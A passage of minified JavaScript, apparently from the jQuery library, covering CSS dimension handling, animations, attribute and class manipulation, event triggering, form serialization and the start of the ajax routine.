r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 